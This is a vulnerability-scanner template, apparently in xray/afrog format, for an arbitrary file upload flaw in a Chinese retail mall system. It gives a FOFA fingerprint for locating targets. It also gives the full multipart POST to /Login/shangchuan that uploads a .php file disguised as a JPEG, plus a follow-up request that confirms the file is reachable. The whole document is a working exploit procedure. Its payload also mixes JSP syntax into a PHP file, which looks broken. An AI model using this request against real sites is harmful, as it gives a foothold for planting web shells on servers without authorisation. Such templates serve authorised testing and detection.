chuangke-shangchuan-fileupload: 创客13星零售商城系统前台任意文件上传漏洞

id: chuangke-shangchuan-fileupload
info:
  name: 创客13星零售商城系统前台任意文件上传漏洞
  author: avic123
  severity: critical
  verified: true
  description: |
    创客13星零售商城系统前台任意文件上传漏洞
    fofa："/Public/Xin/static/css/iconfont.css"
  reference:
    - https://mp.weixin.qq.com/s?__biz=MzkzODY2ODA0OA==&mid=2247485436&idx=2&sn=c39a8b216a2be815a641702c1c24b99d
  tags: chuangke,fileupload
  created: 2025/03/19

set:
  randstr: randomLowercase(8)
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /Login/shangchuan
      headers:
        Content-Type: multipart/form-data; boundary=--------{{rboundary}}
      body: |

        ----------{{rboundary}}
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
        Content-Type: image/jpeg

        <%out.println("{{randstr}}");%>
        ----------{{rboundary}}--
    expression: response.status == 200 && response.body.bcontains(b'code') && response.body.bcontains(b'"re":')
    output:
      search: '"\"re\":\"(?P<re>.*?)\"".bsubmatch(response.body)'
      re: replaceAll(search["re"], "\\", "")

  r1:
    request:
      method: GET
      path: "{{re}}"
    expression: response.status == 200 && response.body.bcontains(bytes(randstr))
expression: r0()&& r1()